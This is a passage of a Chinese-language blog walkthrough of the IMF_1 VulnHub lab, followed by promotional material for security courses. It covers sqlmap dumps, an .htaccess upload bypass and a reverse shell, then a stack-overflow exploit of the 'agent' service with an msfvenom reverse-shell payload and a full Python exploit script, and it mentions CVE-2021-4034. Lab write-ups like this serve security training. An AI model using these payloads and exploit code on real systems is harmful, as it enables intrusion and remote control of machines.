IMF_1(VulbHub)_WriteUp,看完豁然开朗

image-20231112202129691

sqlmap -r sql_post.txt --batch -D admin -T pages --columns

image-20231112202210151

sqlmap -r sql_post.txt --batch -D admin -T pages -C id,pagedata,pagename --dump

image-20231112202247791

发现异常数据

输入第三个表单当中的数据

image-20231112202440160

发现flag4

通过二维码扫描软件得第四个flag

flag4{dXBsb2Fkcjk0Mi5waHA=}
解码:uploadr942.php

image-20231112202629299

image-20231112202655042

继续访问uploadr942.php页面

image-20231112202743211

waf绕过(.htaccess绕过)

发现次waf检测文件内容!

image-20231112204959017

image-20231112204910541

这边肯定好奇了,这儿为什么上传gif,但是可以执行php的命令,这部分的内容我们后边再说。

image-20231112205342737

发现flag5

获得flag5:flag5{YWdlbnRzZXJ2aWNlcw==}
base64解码获得:agentservices

image-20231112205400040

image-20231112205414400

反弹shell

image-20231112210024844

image-20231112210122393

image-20231112210220725

image-20231112210428076

image-20231112210607468

3、内网渗透

法一:缓冲区溢出-提权

查找agent

通过flag5 base64解码获得:agentservices
这是提示agent的服务存在问题!

find / -name agent 2>/dev/null 发现:
/usr/local/bin/agent
/etc/xinetd.d/agent

访问:/usr/local/bin/agent
是可以访问的,并且需要输入数值ID!

image-20231112221501520

查看开启的端口情况

netstat -ant —查看开启的端口情况
nc 127.0.0.1 7788 —查看到开启7788端口是anget程序的

image-20231112222415098

查看/usr/local/bin下的文件

image-20231112222828012

image-20231112223502941

image-20231112223209914

敲震端口

敲震端口:
knock 192.168.126.167 7482 8279 9467
nmap 192.168.126.167 -p7788,80 ----这时候7788端口开启

image-20231112224804294

通过追踪来继续研究agent文件

image-20231112225916819

ltrace ./agent
随意输入数字!
strncmp(“dwqdq\n”, “48093572”, 8) = -1 ----正在将我提供的字符串与字符串48093572进行比较,在这种情况下导致=-1)

为了防止缓冲区溢出这种情况的出现,在C库函数中,许多对字符串操作的函数都有其"n兄弟"版本,例如strncmp,strncat,snprintf……兄弟版本的基本行为不变,但是通常在参数中需要多给出一个整数n,用于限制操作的最大字符数量。

甚至strings agent发现:两个地方使用了“%s”,这很可能是一个有效的溢出点!

vmmap
0xfffdc000 0xffffe000 rwxp [stack]
发现这是个栈溢出的题目!

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
gdb ./agent
run
48093572
输入后:
Main Menu:

  1. Extraction Points
  2. Request Extraction
  3. Submit Report
  4. Exit
    选择Submit Report 3:

输入2000值后,发现segmentation fault溢出报错!存在缓冲区溢出!
0x41366641

还发现:堆栈开始是EAX寄存器
EAX: 0xffffcfd4 (“AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASA\324\317\377\377TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA”…)

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
发现偏移量为:168

python -c ‘print “A” * 168 + “B” * 4’
通过测试:
EAX: 0xffffcfd4 (‘A’ <repeats 152 times>, “\324\317\377\377”, ‘A’ <repeats 15 times>, “BBBB”)
EIP被168个字节覆盖,但是多给的B字节走到了EAX上,在给多个C测试shellcode会走哪儿!

python -c ‘print “A” * 168 + “B” * 4 + “CCCCCCCCCCCCCCCC”’
EAX: 0xffffcfd4 (‘A’ <repeats 152 times>, “\324\317\377\377”, ‘A’ <repeats 12 times>, “BBBB”, ‘C’ <repeats 16 times>)

或者:
info registers eax
x/20x $eax -32
这时候可看到:
0xffffcfc4: 0xffffcfd4 0x00000001 0x00000000 0x0804b02c
0xffffcfd4: 0x41414141 0x41414141 0x41414141 0x41414141

C也走到了EAX,找保护措施!那么只需要找到eax值,即可直接跳到shellcode!

checksec
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
RELRO 是一种用于加强对 binary 数据段的保护的技术。
参考:https://lantern.cool/note-pwn-linux-protect/

查看ASLR设置:
cat /proc/sys/kernel/randomize_va_space
2
或者:
sysctl -a --pattern randomize
kernel.randomize_va_space = 2

0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
说明存在随机化!ASLR功能的程序使用ret2reg(返回寄存器)指令来利用缓冲区溢出
参考大佬:
https://www.securitylab.ru/analytics/405868.php

gdb-peda$ jmpcall eax
0x8048563 : call eax

或者:asmsearch “jmp eax”
asmsearch “call eax”

EAX 地址0x8048563

目前知道了JMP值:0x8048563
偏移量:168
接下来创建shellcode写个脚本就直接拿下!

创建后门

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.126.134 LPORT=6666 -f python -b “\x00\x0a\x0b”

payload:
-p 载荷类型
LHOST 本机地址
LPORT
-b 坏字符
-f 编译的语言
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)

需要运行,在输入密码,在输入ID,才能进行缓冲区溢出,这时候需要expect的特殊脚本语言来写:
https://en.wikipedia.org/wiki/Expect

image-20231112234419637

最终代码:exp.py

image-20231113002840393

参考大余老师的:

import socket

Target related variables

remotehost = “10.211.55.36”
remoteport = 7788
menuoption = 3
agentid = 48093572

Default recv size

recvsize = 512

Connnect to remote host

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((remotehost, remoteport))
client.recv(recvsize)
client.send(“{0}\n”.format(agentid))
client.recv(recvsize)
client.send(“{0}\n”.format(menuoption))
client.recv(recvsize)

Payload genereated by Msfvenom, to be force fed into reporting tool

buf = b""
buf += b"\xdb\xda\xd9\x74\x24\xf4\xbb\x99\x95\x96\x1f\x58\x33"
buf += b"\xc9\xb1\x12\x31\x58\x17\x83\xe8\xfc\x03\xc1\x86\x74"
buf += b"\xea\xc0\x73\x8f\xf6\x71\xc7\x23\x93\x77\x4e\x22\xd3"
buf += b"\x11\x9d\x25\x87\x84\xad\x19\x65\xb6\x87\x1c\x8c\xde"
buf += b"\x1d\x0c\x59\x0d\x4a\xb0\xa6\x2b\x80\x3d\x47\xfb\xf2"
buf += b"\x6d\xd9\xa8\x49\x8e\x50\xaf\x63\x11\x30\x47\x12\x3d"
buf += b"\xc6\xff\x82\x6e\x07\x9d\x3b\xf8\xb4\x33\xef\x73\xdb"
buf += b"\x03\x04\x49\x9c"

Buffer is too small to trigger overflow. Fattening it up!

168 is the offset I found using pattern_offset

buf += “A” * (168 - len(buf))

EAX call I made note of earlier in this segment

buf += “\x63\x85\x04\x08\n”

And off we go!

client.send(buf)

测试效果

有点失败,没戏。提权试试。

image-20231113003630357

cve-2021-4034-poc.c_2022通杀提权

法二:cve-2021-4034-poc.c提权

基础探测

image-20231113000545397

脚本探测

image-20231113001301914

这里只能找到这个,但是不是我们想要的

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

bp?x-oss-process=image/format,png)
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

  • 16
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值